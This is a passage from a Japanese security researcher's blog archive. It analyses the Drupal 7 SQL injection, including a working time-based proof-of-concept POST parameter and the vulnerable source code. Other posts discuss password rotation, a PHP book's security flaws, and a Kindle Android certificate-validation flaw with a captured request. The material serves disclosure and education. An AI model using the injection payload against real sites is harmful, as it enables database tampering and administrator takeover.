SELECT * FROM {users} WHERE name = :name_2 xxxxx, :name_2 AND status = 1
SQL文の中で使われているプレースホルダは :name_2 のみとなりました。この際のバインド値は以下の通りです。
array(2) {
  [":name_2 xxxxx"] => ""
  [":name_2"]=> "user2"
}
キー :name_2 はあるので、SQL文は呼び出されるはずです。ログを見ると、以下のSQL文がみつかります。
SELECT * FROM users WHERE name = 'user2' xxxxx, 'user2' AND status = 1
呼び出されていますね。ただし、xxxxxの部分でSQL文法違反となっているので、MySQL側でエラーになり、実行はされません。このxxxxxを文法違反にならないように辻褄をあわせてやると、SQLインジェクション攻撃ができます。

SQLインジェクションを試す

いよいよSQLインジェクションです…が、まだ発表されたばかりの脆弱性ですので、実害のあるものは避けて、10秒待つだけのSQLを実行してみましょう。ということで、SELECT sleep(10) というSQL文を実行してみましょう。POSTパラメータは以下となります。
name[2 ;SELECT sleep(10) -- ]=&name[2]=user2
Burp SuiteのRepeater機能で実行した例を下図に示します。


図の右下に 10,079millisとあることから、10,079ミリ秒、すなわち約10秒待っていることがわかります。この際に呼び出されているSQL文は下記の通りです。
SELECT * FROM users WHERE name = 'user2' ;SELECT sleep(10) -- , 'user2' AND status = 1
実験に使用した環境はMySQLを使っていますが、SQLの複文が実行できていることになります。これは、DrupalがPDOを使っているためで、詳しくは以下のエントリを参照ください。

ソース上の脆弱性箇所

この脆弱性の発生原因は、ソース上では以下のexpandArgumentsメソッドにあります。
// includes/database/database.inc
protected function expandArguments(&$query, &$args) {
  $modified = FALSE;
  // $argsの要素から配列のみ処理対象として foreach
  foreach (array_filter($args, 'is_array') as $key => $data) {
    $new_keys = array();
    // $dataは配列であるはずなので、foreach 可能。 $i(キー)に注目
    foreach ($data as $i => $value) {
      $new_keys[$key . '_' . $i] = $value;
    }
    // $queryを改変 $new_keysのキーをarray_kesyでSQL文に混ぜていることが問題
    $query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);
    unset($args[$key]);
    $args += $new_keys;

    $modified = TRUE;
  }
  return $modified;
}
元のコメントはすべて削除して、簡単な説明をコメントとして追加しました。
先のPoCから呼び出される場合、$args['name'] に配列値が入っている場合、配列のキーが変数 $i 経由でなんのチェックもなくSQL文に流し込まれることが問題です。
この脆弱性が対策されたDrupal7.32では、内側のforeachは以下のように修正されています。
foreach (array_values($data) as $i => $value) {
$dataにarray_values関数を通すことで、キーを取り除くことにより対策しています。
これで一応脆弱性は対処されていると思いますが、最初の方で指摘したようにクエリ文字列nameを配列とした場合に、文法違反のSQL文が生成される問題は直っていません。
Drupalは必要最小限のバリデーションのみをしているように見えますが、クエリ文字列が(配列ではなくスカラの)文字列であることのチェックくらいはした方がよいと思います。これはアプリケーション要件として必要なチェックだと考えます。

この脆弱性による影響

SQLインジェクションによる一般的な影響はすべて可能性がありますが、とくにデータベースの改変による攻撃経路が重要であると考えます。詳細は伏せますが、管理者権限をうばったり、管理者権限のあるユーザを登録できることを実験で確認しています。
DrupalはCMSですので、管理者権限が得られた後は、ファイルをアップロードするなどして任意のPHPスクリプト実行なども可能になると考えます。既にさまざまな攻撃が実際に来ているようですので、早急の対策をおすすめします。

影響を受けるバージョンと対策

Drupal 7.xのみが影響を受けます。Drupal 7.32にて対策されているので、該当バージョンを利用の場合、早急のアップグレードを推奨します。
すぐにアップグレードできない場合は、WAFによる攻撃緩和も有効と考えられます。Drupal対応のシグネチャがなくても、既存のシグネチャによる防御が期待できます。ただし、シングルクォートを使わなくても攻撃は可能なので、WAFの性能次第というところはあります。

まとめ

Drupal 7.xのSQLインジェクション脆弱性について説明しました。このSQLインジェクション脆弱性は、SQL文を動的生成する際に、プレースホルダ中に誤って配列パラメータ中のキー値をなんのチェックもせずに混入させてしまったことによるものです。
配列パラメータのキーによる攻撃は結構あるパターンでして、以下のエントリでも説明しています。
O/RマッパーやSQLジェネレータを開発する場合は、パラメータが配列である場合や、配列のキーが指定された場合についもテストをしておくとよいでしょう。

2014年10月16日木曜日

パスワードの定期的変更はパスワードリスト攻撃対策として有効か

パスワードリスト攻撃の対策として、パスワードの定期的変更に意味があるのかという議論があります。私は(利用者側施策としては)実質意味がないと思っていますが、まったく意味がないというわけでもありません。
このエントリでは、パスワードの定期的変更がパスワードリスト攻撃に対してどの程度有効かを検討してみます。

前提条件

パスワードリスト攻撃を以下のように定義します。
別のサイトから漏洩したアカウント情報(ログインIDとパスワードの組み合わせ)の一覧表(パスワードリスト)があり、そのログインIDとパスワードの組をそのまま、攻撃対象に対してログイン試行する攻撃
パスワードの定期的変更の一例として以下の条件を前提とします
  • 利用者は、すべてのサイトのパスワードを90日毎に変更する
  • 利用者はすべてのサイトで同じログインIDを用いている
  • 変更後のパスワードはすべてのサイトで同じとする
    ※ サイト毎にパスワードを別にすれば、それ以降はパスワードをまったく変更しなくてもパスワードリスト攻撃はできなくなるためこの条件を設定

攻撃条件(1)

攻撃者はサイトAから窃取したアカウント情報を直ちにサイトBに対して試行する場合

この場合、サィトAに登録されたIDとパスワードはサイトBでも有効なので、パスワードリスト攻撃が成功する。すなわち、パスワードの定期的変更に効果はない。

攻撃条件(2)

攻撃者はサイトAから窃取したアカウント情報を用いてサイトBを攻撃するが、アカウント情報は古いものであるとする。

※ アカウント情報が古いシナリオとしては、サイトAのパスワードがハッシュ値で保存してあったために解読に時間がかかった、あるいは攻撃者がパスワードリストを購入したが、最新ではなく古いものであった、などの可能性があります。

この場合、パスワードが漏洩してから攻撃があるまでの間に、パスワードが変更されていれば、パスワードリスト攻撃は成立しません。パスワードが変更される前であれば、攻撃は成立します。

評価

パスワードの定期的変更を実施していると、仮に全サイトで同じパスワードを設定していても、パスワードリストが古いものである場合、攻撃のタイミングによってはパスワードリスト攻撃を防ぐことが出来ることができます。パスワードリストの売買の報道例についてはこちらを参照ください。
それにも関わらず私が「実質意味がない」と思う理由は、どうせパスワードを変更するのであれば、そのタイミングで、サイト毎に異なるパスワードを設定すればいいじゃないかと思うからです。いったんサイト毎に異なるパスワードを設定しておけば、その後はパスワードを変更しなくても、パスワードリスト攻撃に関しては完全に防御することができます。

一方、パスワードの定期的変更では、「運が良ければ防げるが、防げない可能性も高い」という性質のものなので、利用者側の立場としてのパスワードリスト攻撃対策は以下の一点でよいと考えます。
  • サイト毎に異なるパスワードを設定する
他の攻撃に関しては、別の対策も併用する必要があります。
また、パスワードの定期的変更の、リスト型攻撃以外に対する効用については、以下のエントリを参照ください。

追記(2014/10/16 15:30)

@machuさんからコメントをいただきました。
『管理者側は違うパスワードは強制できないけど、定期変更は強制できる』という指摘は鋭い着眼ですね。そういえば、総務省の公表した『リスト型アカウントハッキングによる不正ログインへの対応方策について』では、「利用者にパスワードの定期的変更を求める」という表現ではなく、「パスワードの有効期間設定」となっていました。総務省の資料は、「サイト管理者などインターネットサービス提供事業者向け対策集」ということなので、このような表現になっているのだと思います。これに対する評価は以下の通りです。

  • パスワードの定期的変更は強制できる
  • 結果としてパスワードリスト攻撃への効果は限定的(ないわけではない)

ですが、パスワードの管理は本来は利用者側の責任であるわけで、そこにサイト運営者が介入する方向性としては、できるだけ利用者の負担増が少なく、かつ効果の高いものであるべきだと考えます。この点、「パスワードの有効期間設定」は、利用者の負担が大きく、かつ効果が限定的であるという点で、よくない施策であると考えます。













2014年10月15日水曜日

気づけばプロ並みPHP 副読本:お助け電子BOOKへの寄稿の顛末

谷藤賢一さんの著書『気づけばプロ並みPHP~ショッピングカート作りにチャレンジ! 』に、発売1周年の謝恩キャンペーンとして『副読本:お助け電子BOOK』が公開されました(*1)。私はこの副読本の中で、『第2章 【徳丸 浩氏 スペシャル寄稿】安全なWebアプリケーションのために』を寄稿しています。このエントリでは、寄稿の顛末を報告したいと思います。

動機

私が本書『気づけばプロ並みPHP』を購入したのは昨年の10月29日ですから、本書が出版されてまもなく、今から約1年前です。私は本書を一読して、セキュリティ上の多数の問題があることに気がつきました。
以前は、セキュリティ上の問題が多い本は書評をブログ記事として書くことも多かったのですが、この際は書評という形にするのはためらいがありました。その理由は以下の様なものです。
  • 私のブログの読者層はセキュリティに関心の高い方たちであり、本書の読者とは重ならない
  • 著者に私の意図が伝わるかが疑問
  • 別の著者の方と書評が原因でトラブルになりかけたことがある
私は衝動的に、著者の谷藤さんの経営する株式会社C60(シーロクマル)に押しかけていって、ちょっとこの本は問題ですよと直接伝えようかとも思いました。前述のように別の著者の方とは書評が元でトラブルになりかけましたが、谷藤さんとはそうならないだろうという直感がありました。谷藤さんはプログラミングの初心者にPHPを習得してもらうことを通じて、若者の自立とキャリア形成の支援をされています。言わば、PHPの講習を通じて社会を少しでも変えようという活動をなさっている方なので、きちんとお話すれば、当方の意図はわかってくださるのではないかと思いました。
しかしこの時は、忙しさにかまけて、行動に移すことはありませんでした。

きっかけ

ところが、とある偶然から、ことは動き始めました。PHPカンファレンス関西2014のスピーカーを依頼されて、今年の6月28日に会場の大阪産業創造館を訪問した時のことです。自分の出番を終えて、ロビーでPHP界隈の方々と談笑していると、谷藤さんの方から挨拶に来られたのです。
名刺交換をしながら、私が「いや、実は私のほうから谷藤さんの会社に乗り込もうかと思っていたのですがね」と申し上げたところ、「ぜひ乗り込んできてください」とのお返事。その後頂戴したメールにもその旨記載されていたので、それではということで、谷藤さんとの面会が決まりました。

面会

7月某日、谷藤さんの会社で、リックテレコムの担当編集者を交えて谷藤さんと面会をいたしました。私からは、本書の内容にセキュリティ上の問題が多いこと、開発の現場で多くの開発者が「コピペ」でプログラムを作り、そのため「お手本」に脆弱性があると、その脆弱性ごとコピペされて脆弱なサイトがネットに公開されてしまうこと、などをお伝えしました。
谷藤さんからは、セキュリティが重要であることは承知しているが、自分の扱う受講生のレベルではセキュリティまでは無理であると考えていること、また開発現場のコピペの現状については承知しておらず、驚いているというお話がありました。
ここで、リックテレコムの担当編集者からは、実は本書を「プロ並み」というタイトルにしてしまったこともあり多くの問い合わせを受けていること、このため、フリーの電子書籍の形でFAQの副読本を発行する計画があることを伺いました。そして、徳丸の示した内容も、その副読本に含めさせてもらえないだろうかという提案をいただきました。
私はその提案に同意し、そのために私が調べた内容をメモとして提供することになりました。

副読本

私のメモは元々作成していたものをすぐにお渡ししたのですが、せっかく乗りかかった船なので、もう少し詳しく調べたいと考えました。本書のソースは、断片的な形でしか記載されておらず、実際に打ち込んでみないと全容がわからない状態でした。このため、当方からデジタルデータとしてソースコードの提供を希望し、承諾されました。私はお預かりしたソースを実際に動かしたり、ソースコードを確認するなどの方法でセキュリティ上の問題を調べ、先のメモに追記しました。また、当初脆弱性の疑いを持っていた箇所が、完全なソースを確認すると脆弱性ではないことがわかった箇所もありました。なお、現在は、こちらのページから、ソースコードがダウンロードできるようになっています。
私が提供したものは、あくまで内容のみを記した簡潔なメモでしたので、徳丸の負担を下げたいという担当編集者の配慮から、そのメモを「読み物」の形に仕上げる上では、編集という形で編集者の加筆がかなり入っていることを報告いたしましす。しかし、できあがった文章を私はチェックしておりますので、担当した第2章の文責は徳丸にあります。

概要

私の担当である副読本第2章の概要は下記のとおりです。

2-1 本アップには欠かせない——本書プログラムの脆弱性対策
 ◆P088 スタッフの削除機能にCSRF脆弱性
 ◆P100 商品追加機能に2種の脆弱性
 ◆P113ほか HTMLエスケープ処理の漏れ
 ◆P233 自動返信メールにメールヘッダインジェクション脆弱性
 コラム(1)「サニタイジング」という用語について

2-2 中級以上を目指す方へ——プログラム品質を高める改善案
 ◆P061・P113・P232 HTMLエスケープを行う場所について
 ◆P061 htmlspecialcharsの引数
 ◆P061他 データベース接続に例外処理の設定を
 ◆P065 データベース接続の文字エンコーディング指定方法
 ◆P100 正規表現による全体一致チェック
 ◆ 商品を購入したらカートは空になっているべき
 ◆ 商品画像のファイル名にルールがほしい
 ◆P268 注文データ漏えいの恐れあり
 ◆ 許可されていない文字がDBに登録されてしまう
 コラム(2) MD5によるパスワードの暗号化

まとめ、感想

一月ほど前に、はせがわようすけさんの以下のツイートに対して、
以下のように返答していますが、上記を想定した発言でした。

今回は、ひょんなきっかけから、「著者とのコミュニケーション」が実現されたことになります。私からは多くの指摘をさせていただきましたが、内容についての質問はあったものの、私の指摘はすべて掲載されています。谷藤さんと担当編集者の懐の深い対応に感謝申し上げます。

とは言え、課題は山積みです。私は開発入門者が最初に目にする機会の多いPHP入門書に注目してウォッチングを続けていて、以前から少し改善は見られる(参照)ものの、望ましい水準にはまだまだというところです。しかし、様々な形で著者の方々にセキュリティの重要性が伝わることで、改善が図られていくものと期待をしています。

*1 こちらのサイトにダウンロード方法が書かれています。個人情報として氏名とメールアドレスの入力が必要です。

2014年9月10日水曜日

パスワード定期的変更の効能について徳丸さんに聞いてみた

高橋: こんにちは、高橋です。今日は徳丸さんをお招きして、今話題のパスワードの定期的変更について、本当のところ効果がないのか、その効能についてご説明いただきます。徳丸さん、よろしくお願いします。

徳丸: 徳丸です。いつもはパスワードの定期的変更にはあまり意味がないと主張していますが、今日はパスワードの定期的変更を擁護する立場なんですね。面白そうです。よろしくお願いします。

高橋: まず問題の整理についてです。IPAより9月3日に『「ID・パスワードのセキュリティ対策促進に関する広告等業務」 係る企画競争 』の仕様書(PDF)が公開されました。その仕様書中の行動喚起を促す対策事例の一つに「ID・パスワードは定期的に変更する」 があったので、セキュリティクラスタが騒ぎ出し、その結果かどうかは分かりませんが、9月9日に同仕様書が改定され、パスワードの定期的変更は対策例から削除されました。一連の議論についてはこちらを御覧ください。

徳丸: 高橋さん、最初は、パスワードの定期的変更の『効能』を説明する人選に僕を選ばれたのはどうしてだろうと思っていたのですが、考えてみると、僕は適任かもしれないと思いました。

高橋: ようやく気づいていただけましたか!

徳丸: 遅まきながら(笑い)。僕は、パスワードの定期的変更については批判的な立場ですが、公平な批判をするためには、パスワードの定期的変更の効能についても客観的に把握しないといけませんからね。

高橋: 確かに。

徳丸: しかも、パスワードの定期的変更を主張している人達は、従来、そうすべき理由をはっきり説明してこなかったのです。

高橋: えっ、そうなんですか?

徳丸: はい。説明があったとしても、簡単に論破できるようなものが多かったです。なので、パスワードの定期的変更の効能をそもそも何だろうとずっと考えてきました。私の過去のエントリについてはこちらを参照ください。

高橋: 最初のエントリは6年半前ですか。

徳丸: そうですね。考えてきた結果、パスワードの定期的変更の「効能」は以下の3つだろうと考えます。

  1. パスワード解読防止
  2. パスワードの漏洩後の緩和策
  3. 個人に割り当てられていないIDのパスワード管理の簡便法

高橋: それでは、1からご説明いただけますか? 1はすごく効能がありそうですが…

徳丸: まず前提として、これはオンライン攻撃ではなく、オフライン攻撃を対象にしています。

高橋: オフライン攻撃とは何でしょうか?

徳丸: オフライン攻撃というのは、ネットワークを通じてではなく、攻撃者の手元で攻撃することです。パスワードの場合は、暗号化されたパスワードあるいはパスワードのハッシュ値が漏洩して、それから元のパスワードを求める行為を指します。

高橋: パスワードが漏れちゃった後の話なんですか…

徳丸: そうです。しかし、昔のUNIXでは、それが当たり前だったのですよ。

高橋: え!? それは本当ですか?

徳丸: はい。UNIX系OSには /etc/passwd というファイルがあって、OSにログインしている人であればだれでも参照はできますよね。このファイルにパスワードのハッシュ値が格納されていたのです。

高橋: そうなんですか! passwdというファイル名なのにパスワードが入ってないなと思っていたのですが、昔は入っていたのですね。

徳丸: はい。/etc/passwdはログインユーザであれば誰でも参照できるので、時間をかければ元のパスワードが解読できてしまいます。それで、定期的にパスワードを変えないと現実的にまずいということがありました。

高橋: パスワードを定期的に変更する合理的な理由があった、と。

徳丸: はい。しかし、そもそもパスワードのハッシュと言えども、誰でも見られる状態で保存するのはまずいということになり、今では /etc/shadow など、rootのみが参照できるファイルにパスワードのハッシュ値が入っています。

高橋: 過去にはパスワードを定期的に変更する理由があったが、今はそうではない、と。

徳丸: 1に関してはそうなりますね。

高橋: わかりました。それでは、2について説明をお願いします。

徳丸: 2は、パスワードが「知らないうちに」漏れているかもしれないので、定期的にパスワードを変更すれば、「パスワードが漏れてない状態」になる、というものです。例えば、パスワードを三ヶ月毎に変更すれば、最長でも被害は三ヶ月で食い止められる…ということですが、実はそうとも言い切れません。

高橋: なぜでしょうか?

徳丸: パスワードが知らないうちに漏れていたとすると、パスワード変更後に再度漏れる可能性があります。

高橋: 必ずそうなりますか?

徳丸: そうとは限りません。パスワード漏洩がフィッシングによるものだとすると、二度目のフィッシングには利用者が気づく可能性もあります。また、既に攻撃側が目的を達していた場合、再度パスワードを得ようといないかもしれません。

高橋: なんか、微妙なラインですね。どういうシステムが、パスワードを定期的に変更したほうがよいのでしょうか?

徳丸: 社内ネットワークのWindowsアカウントのパスワードや、メールの(POP3の)パスワード等は、パスワードの盗用に気づきにくいし、長期間にわたって被害がある可能性が高いので、パスワードの定期的変更が有効という局面はありそうです。

高橋: そういえば、Windowsはポリシーでパスワードを強制的に定期的変更させる機能がありますね。

徳丸: はい。パスワード定期的変更懐疑派の筆頭格であるシュナイアー氏も、会社のパスワードは時々変える(You should change your corporate login password occasionally)ことを勧めていますね。

高橋: 徳丸さんも会社のパスワードは時々変えているのですか?

徳丸: いえ、変えていません。

高橋: ガタッ、だめじゃないですか。

徳丸: 私の会社は、私一人しかいないのでPCはほぼスタンドアロンの利用ですよ。リモートログオンできるわけではないので、脅威はほぼマルウェアに限定されますから、パスワード変えても脅威は減らないです。

高橋: なるほど、環境によってパスワード変更の重要度が変わってくるのですね。

徳丸: そうです。だから、インターネット上のPOP3のパスワードは先日変更しました。と言っても、SSLのみ許可しているし、不正アクセスの可能性は低いので、マルウェアの脅威くらいしかないのですが、これはまぁ気分の問題です。

高橋: 気分ですか、その程度の重要性ということですね。そういえば、先ほど、被害の期間が長期間にわたってとありましたが、被害が短期間が終わってしまう場合があるのですか?

徳丸: あります。spam投稿が目的のなりすましや、代表例は不正送金ですね。

高橋: なぜでしょうか? 長期間に渡って不正送金できたほうが、犯人は嬉しいでしょうに。

徳丸: さすがに悪用された側が気づくでしょう。

高橋: さるセキュリティ専門家は、自分のクレジットカードは(利用額が大きいので)20万円くらい不正使用されても気づかないだろうと豪語されていたようですが…

徳丸: そういう方は、パスワードを定期的に変更するより前に、自分の口座を定期的に確認する必要がありますね。

高橋: それもそうですね。

徳丸: しかし、オンラインバンキングでも、法人口座の場合は定期的変更が有効になる可能性がありまして、それが3番の理由になります。

高橋: なぜでしょうか?

徳丸: 法人口座の場合は、口座の管理者が複数いて、複数の人がパスワードを共有している場合があるからです。

高橋: どうして定期的変更になるのでしょうか?

徳丸: 複数の管理者のうち1人が退職したり、異動になった場合、「パスワードを知っていてはいけない」状態になりますよね。パスワードを例えば3ヶ月毎に変えれば、「パスワードを不正に知っている」状態は最長でも3ヶ月で止まります。

高橋: 銀行口座の場合だと3ヶ月でも長過ぎますね。かといって、毎日パスワードを変更するわけにもいかないし…

徳丸: その通りです。幸いなことにもっと良い方法があります。

高橋: なんだ、その方法を教えて下さい。

徳丸: 一番良いのは、担当者毎にアカウントを分けて別のパスワードにすることです。たとえばジャパンネット銀行の場合ですと、「利用者ID機能」というものがあり、同じ口座に対して利用者毎にIDを変えることができます。

高橋: それは素晴らしいですね。担当者が退職したら、その方のIDを解除するか、パスワードを変更して別の人が使えば良いわけですね。他の方のパスワードは変更しなくてもよい、と。徳丸さんの会社でも「利用者ID機能」を使っているのですか?

徳丸: だーかーらー、私の会社は私一人しかいないので、使う必要がありません。

高橋: でしたねー。でも、そういう機能が利用できない場合は、定期的に変更するしかないのでは?

徳丸: いえ、そうではありません。共用のパスワードを知っている人の退職や異動のタイミングでパスワードを変更するべきです。そうすれば、「パスワードを不正に知っている人」をゼロにできるはずです。理論的には…

高橋: 歯切れが悪いですね。

徳丸: 今までの話は、職務上パスワードを知っているはずの人の話ですが、元々パスワードを知っているはずのない人がパスワードを知っている場合に、定期的にパスワードを変更すると、その人の知っているパスワードを無効にできますね。

高橋: しかし、パスワードを知っていてはいけない人がパスワードを知っていること自体が重大な問題だと思いますが…

徳丸: はい。でも現実にはあり得ますよね。サーバー管理者が外出中にrootで作業をしなければならないのに、リモートからログインできないので、同僚にrootパスワードを教えて作業を代行してもらうケースとか。

高橋: はー、教科書的にはだめだけど、現実にはありそうです。

徳丸: なので、元々管理レベルが低い場合は、パスワードの定期的変更がそれなりに有効、ということですよ。言い換えると、パスワードの定期的変更に頼る状態というのは、けっして好ましいことではありません。

高橋: 分かりました。ここまでのお話を一旦整理すると、昔の/etc/passwdにパスワード自体が入っていた時代はパスワードを定期的に変更する理由があったが、今はそうではないこと、同じパスワードを複数人で使う場合にパスワードの定期的変更がそれなりに意味があるが、本来は一人1IDにするか、異動・退職のタイミングでパスワードを変更するべき、ということでした。社内ネットワーク等のパスワードは、環境にもよるが、パスワードの定期的変更がそれなりに有効、ということですね。

徳丸: その通りです。

高橋: 徳丸さんのご専門のWebシステムの話題があまり出てきませんでしたが、Webの場合はどうなんですか?

徳丸: Webの場合でも、パスワード漏洩の影響が長期間にわたって出て、かつ漏洩に気づけないというケースは、パスワードを定期的に変更した方がよい、ということになりますね。

高橋: あれ、パスワードの定期的変更を認めちゃうんですか?

徳丸: 残念ながら…でも、パスワードの定期的変更よりも良い方法がある場合はそちらを使うべきです。

高橋: 例えばどういうものでしょうか?

徳丸: 例えば2段階認証ですね。2段階認証が使える場合は、パスワードを定期的に変更する必要性はほとんどないでしょう。

高橋: 2段階認証に使うトークンを一種のパスワードだとすると、一分毎にパスワードが変わっているようなものですからね。

徳丸: そうです。パスワード漏洩の影響が長期に及ぶアプリケーションというのは、メールとかストレージサービスですね。その種のサービスは2段階認証が普及しつつあります。一方、被害が個人情報漏洩だけというサイトは、パスワードを変更しても被害は軽減できないので、定期的変更にあまり意味がありません。次に、ログイン通知やログイン履歴の機能があれば、不正ログインに利用者が気づくことができるので、パスワードの定期的変更の必要性は薄くなります。

高橋: 定期的にチェックするのも面倒だし、忘れそうですね。

徳丸: そうですね。この点、Yahoo!やLINEがやっているログイン通知は便利ですよ。自分ではなにもしていないのに、「ログインしました」と通知されるので、気づきやすいです。

高橋: でも、ログイン通知を実装しているサイトは少ない感じですね。

徳丸: そうなんです。だから、サイト運営者は、利用者にパスワードの定期的変更を促す前に、2段階認証やログイン通知の機能を実装していただきたいです。

高橋: そうですね。それでは、そろそろまとめていただきますか?

徳丸: はい。結局のところ、パスワードの定期的変更の位置づけとしては下記のパターンがあると考えます。

  1. もっとよい方法がある(例: 二段階認証)
  2. 元々の管理レベルが低い場合の簡便法(例: パスワードを勝手に知っている人がいる)
  3. 社内ネットワークなど不正に気づくことが難しく被害が長期に及ぶ場合の対策

    1と2については、もっとよい管理方法に移行するべきです。3については、パスワードの定期的変更の動機としてはもっともありそうですが、もし本当に高いセキュリティを目指すのであれば、スマートカードログオンに移行するなど、パスワードの定期的変更に頼らないセキュリティ施策を採用するべきです。私が一つお勧めしたいのは、パスワードを三ヶ月おきに変更するような機械的な定期的変更ではなく、パスワード管理のあり方を定期的に見直すことです。たとえば、フィッシングが問題になってきて二段階認証の普及が進んできたら、自分でも二段階認証を使うかどうかを検討する、パスワードリスト攻撃が問題になってきたら、自分でもパスワードの使い回しをしていないかチェックして、是正する、などです。機械的にパスワードを変更することは、意味が無い場合が多いですよ。

高橋: ありがとうございました。パスワード管理を定期的に見直すというのはいいですね。これで、パスワード定期的変更の効能についての徳丸さんへのインタビューは終わりです。みなさま、ごきげんよう。

※注: このエントリはインタビュー仕立ての記事であり、文責はすべて徳丸にあります。高橋は架空の人物です。

2014年9月2日火曜日

Android版KindleにおけるSSLサーバ証明書の検証不備の脆弱性CVE-2014-3908

本稿では、Android版KindleにおけるSSLサーバ証明書の検証不備の脆弱性CVE-2014-3908について、発見の経緯と脆弱性の詳細、起こり得る影響などについて報告します。

発見の経緯

奥一穂さんとfacebook上で会話していて、スマホアプリ等でSSLサーバ証明書の検証をする際に、コモンネームを検証していないアプリの可能性について示唆を受けました。その内容は、奥さんのブログ記事として以下にまとめられています。
Kazuho's Weblog: SSL/TLSライブラリの正しい使い方(もしくは、コモンネームの検証について)
詳しくは上記記事をお読みいただくとして、サーバ証明書の検証の要点としては以下となります。
  • 証明書が信頼された認証局の発行したものであること
  • 証明書の有効期限の範囲内であること
  • サーバ証明書のコモンネームが接続しようとしているサーバと一致していること
これらのうち、コモンネームの検証が漏れているアプリが結構あるのではないかという問題意識に至りました。私は奥さんとの会話の後、そのようなアプリがどの程度あるのか確認してみたくなりました。

しかし、一般にMITMモードを備えたPROXY(Burp Suite、Fiddler等)は、発行元が信頼されていないがコモンネームと有効期限は適切な証明書を発行して返します。下図は、Burp Suiteを用いてIPAのサイトに接続した際の証明書の内容です。発行者がPortSwigger CAとなっていますが、それ以外のコモンネーム(CN)と有効期限は適正です。


このため、Burp Suite等はこの実験の目的には適しません。
ネットでしばらく探してみましたが、適当なものが見当たらなかったため、簡易的なPROXYを自作して試すことにしました。

実験環境

実験の環境は、以前のブログ記事で使用した環境をほぼそのまま使い、Burp Suiteの代わりに自作PROXY(下図のMITM PROXY)を使いました。「被害者のAndroid端末」としては、改造していない(ルート化や証明書の追加をしていない)Nexus 7を用いました。


MITM PROXYには固定のサーバ証明書(正規のもの)が導入されていて、どのサーバーへの接続に対しても、端末との接続にはそのサーバ証明書を用います。このため、ブラウザでこのPROXY経由で接続すると、下記のようなエラーとなります。下図はIPAのサイトにSSL接続しようとした際にiPhone上のGoogle Chromeが表示しているエラーメッセージです。


実験の結果

この状態でAndroid版Kindleを使用すると、通常は通信エラーになります。下図は、サインインの際のエラー表示の様子です。


しかし、テストをしているうちに、Kindleパーソナル・ドキュメントサービスに関しては、上記MITM PROXYにて復号可能な状態でSSL通信をしていることがわかりました。PROXYをBurp Suiteに変更すると通信エラーになるため、証明書のチェックのうちコモンネームの検証がもれていると推測しました。
これはすなわち、この実験で求めていた成果が、意外な大物として釣り上げられたことになります。

下記は、Kindleパーソナル・ドキュメントに対するリクエストの例です。
GET /FionaCDEServiceEngine/FSDownloadContent?type=PDOC&key=FIHKZL674JJEWT…
is_archived_items: 1
currentTransportMethod: WIFI
software_rev: 1141637187
X-ADP-Request-Digest: K+yGNDcBY3j61RPAtEhhbFHEME+sH4Tn550gwjE88v6TE6EYRAu…
Range: bytes=0-
Accept-Language: ja-JP
X-ADP-Authentication-Token: {enc:JfYZXcdve5JIhRIk8Ec9AfFN/2doDyBtfpWsYeFA…
x-adp-alg: SHA256WithRSA:1.0
x-adp-token: {enc:JfYZXcdve5JIhRIk8Ec9AfFN/2doDyBtfpWsYeFAMiImkmQgm3PocVq…
x-adp-signature: IZjXKX5fo1LelIUc0FKNRiaiHt9tDI0b7ZRdXcu3j5ClUmnXvOYBUIi3…
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.2; Nexus 7 Build/KOT49H)
Host: cde-ta-g7g.amazon.co.jp
Connection: Keep-Alive
Accept-Encoding: gzip
以下はレスポンスの例です。生のPDFが返されていることがわかります。
HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 01 Feb 2014 09:48:27 GMT
Content-Type: application/pdf
Content-Length: 27318
Connection: keep-alive
x-adp-host: HMKP292P91XQM
Accept-Ranges: bytes
content-disposition: attachment; filename=odawara-tokumaru.pdf; filename*=UTF-8''%6f%64%61%77%61%72%61%2d%74%6f%6b%75%6d%61%72%75.pdf
Hint-Sidecar-Download: 0
Content-Range: bytes 0-27317/27318

%PDF-1.5
%粤マモ
1 0 obj
<</Type/Metadata/Subtype/XML/Length 2885>>stream
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/">
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="" xmlns:dc="http://purl.org/dc/elements/1.1/"><dc:format>application/pdf</dc:format><dc:title><rdf:Alt><rdf:li>odawara-tokumaru</rdf:li></rdf:Alt></dc:title><dc:creator><rdf:Seq><rdf:li>Microsoft アカウント</rdf:li></rdf:Seq></dc:creator></rdf:Description>
<rdf:Description rdf:about="" xmlns:pdf="http://ns.adobe.com/pdf/1.3/"><pdf:Producer>Microsoft® Word 2013</pdf:Producer></rdf:Description>
<rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/"><xmp:CreateDate>2014-02-01T17:06:14+09:00</xmp:CreateDate><xmp:ModifyDate>2014-02-01T09:46:44Z</xmp:ModifyDate><xmp:CreatorTool>Microsoft® Word 2013</xmp:CreatorTool></rdf:Description>
</rdf:RDF></x:xmpmeta>【以下略】
なお、レスポンスからPDFデータを取り出したところ、元のPDFと目視レベルで一致していることを確認しました。バイナリでは一致していませんが、Kindleパーソナル・ドキュメントサービス側で加工が入ったと推測します。

この問題の影響

この脆弱性による影響を報告します。
まず、HTTPSリクエストには認証に関する情報が入っていますので、この情報からAmazonへのセッションがハイジャックされる可能性があります。実際にハイジャック可能かどうかまでは追いかけていません。
次に、レスポンスのPDFデータですが、Kindleパーソナル・ドキュメントサービスを利用して、Kindle端末(Android)に機密文書をダウンロードしようとして、それが盗聴されると情報漏洩となります。
しかしながら、例えば空港のフリーWi-Fiなど信頼出来ないネットワークを使って機密文書をKindle端末にダウンロードするというシナリオがどの程度あり得るかというと、絶対にないとは断言できないものの、それほどありそうなシチュエーションとは思えません。
このような状況を考慮して、IPAによる脆弱性深刻度は、「CVSS値 4.0、攻撃条件の複雑さ: 高」としたのだと推測します。私はこの深刻度評価を支持します。

対策

Android版Kindleをアップデート(本稿執筆時点の最新版は4.6.0)することにより脆弱性は解消されます。

アプリケーション開発者がこの問題を確認する方法

アプリケーション開発者が実機テストにてこの問題、すなわちアプリケーションがSSLサーバ証明書のコメンネームを検証しているかどうかを確認するためには、試験用サーバに本番とは別のSSLサーバ証明書(正規のものだがコモンネームの異なるもの)を導入した状態でテストを行い、端末側でエラーになることを確認するとよいでしょう。

まとめ

